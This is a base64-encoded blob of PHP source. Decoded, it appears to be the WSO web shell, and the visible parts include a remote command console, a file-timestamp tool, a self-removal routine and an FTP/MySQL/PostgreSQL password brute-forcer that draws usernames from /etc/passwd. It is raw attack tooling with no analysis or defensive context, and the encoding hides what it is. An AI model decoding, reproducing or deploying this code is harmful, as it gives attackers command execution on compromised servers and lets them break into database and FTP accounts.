CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJyAuIGRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKSAuICciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29Gb290ZXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdzdGRlcnJfdG9fb3V0JywgdHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDEnXS49ICcgMj4mMSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnc3RkZXJyX3RvX291dCcsIDApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiZC5jZi5jbWQudmFsdWU9Jyc7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCIkICIgLiAkX1BPU1RbJ3AxJ10gLiAiIiAuIHdzb0V4KCRfUE9TVFsncDEnXSksICInIikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgiIS4qY2RzKyhbXjtdKykkISIsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBjaGRpcigkbWF0Y2hbMV0pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gImNfPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4gIic7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJkLmNmLm91dHB1dC52YWx1ZSs9JyIgLiAkdGVtcCAuICInOyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gImQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICIiLCAkdGVtcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10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WxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6JycpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOicnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2ID09ICcnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nIC4gaHRtbHNwZWNpYWxjaGFycygkbikgLiAnLSI+PC9vcHRncm91cD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJyAuIGh0bWxzcGVjaWFsY2hhcnMoJHYpIC4gJyI+JyAuICRuIC4gJzwvb3B0aW9uPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXB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AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICNkZjU7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvRm9vdGVyKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAnJywgdGltZSgpIC0gMzYwMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGllKCdieWUhJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1BPU1RbJ3AxJ10gPT0gJ3llcycpIGlmIChAdW5saW5rKHByZWdfcmVwbGFjZSgnIShkKylzLiohJywgJycsIF9fRklMRV9fKSkpIGRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgZWNobyAndW5saW5rIGVycm9yISc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfUE9TVFsncDEnXSAhPSAneWVzJykgd3NvSGVhZGVyKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGgxPlN1aWNpZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5SZWFsbHkgd2FudCB0byByZW1vdmUgdGhlIHNoZWxsPzxicj48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsJ3llcycpIj5ZZXM8L2E+PC9kaXY+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29Gb290ZXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvSGVhZGVyKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncHJvdG8nXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKSAuICcgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkgLiAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCAkcG9ydCwgJGxvZ2luLCAkcGFzcykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0ID8gJHBvcnQgOiAyMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZnApIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmdHBfY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRpcCwgJHBvcnQsICRsb2dpbiwgJHBhc3MpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwIC4gJzonIC4gKCRwb3J0ID8gJHBvcnQgOiAzMzA2KSwgJGxvZ2luLCAkcGFzcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQG15c3FsX2Nsb3NlKCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCAkcG9ydCwgJGxvZ2luLCAkcGFzcykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIiAuICRpcCAuICInIHBvcnQ9JyIgLiAkcG9ydCAuICInIHVzZXI9JyIgLiAkbG9naW4gLiAiJyBwYXNzd29yZD0nIiAuICRwYXNzIC4gIicgZGJuYW1lPXBvc3RncmVzIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHBnX2Nsb3NlKCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF0dGVtcHRzID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfUE9TVFsndHlwZSddID09IDEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJHRlbXApKSBmb3JlYWNoICgkdGVtcCBhcyAkbGluZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAod3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSwgQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pIC4gJzwvYj46JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pIC4gJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQCRfUE9TVFsncmV2ZXJzZSddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9IHN0cmxlbigkbGluZVswXSkgLSAxOyRpID49IDA7LS0kaSkgJHRtcC49ICRsaW5lWzBdWyRpXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICh3c29CcnV0ZUZvcmNlKEAkc2VydmVyWzBdLCBAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pIC4gJzwvYj46JyAuIGh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkdGVtcCkpIGZvcmVhY2ggKCR0ZW1wIGFzICRsaW5lKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSB0cmltKCRsaW5lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAod3NvQnJ1dGVGb3JjZSgkc2VydmVyWzBdLCBAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsb2dpbiddKSAuICc8L2I+OicgLiBodG1sc3BlY2lhbGNoYXJzKCRsaW5lKSAuICc8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJ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zb0Zvb3RlcigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gYWN0aW9uU3FsKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzIERiQ2xhc3Mgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgJHR5cGU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciAkbGluazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRyZXM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT50eXBlID0gJHR5cGU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCB0cnVlKSkgcmV0dXJuIHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRob3N0WzFdKSAkaG9zdFsxXSA9IDU0MzI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSkgcmV0dXJuIHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAbXlzcWxfc2VsZWN0X2RiKCRkYikpIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7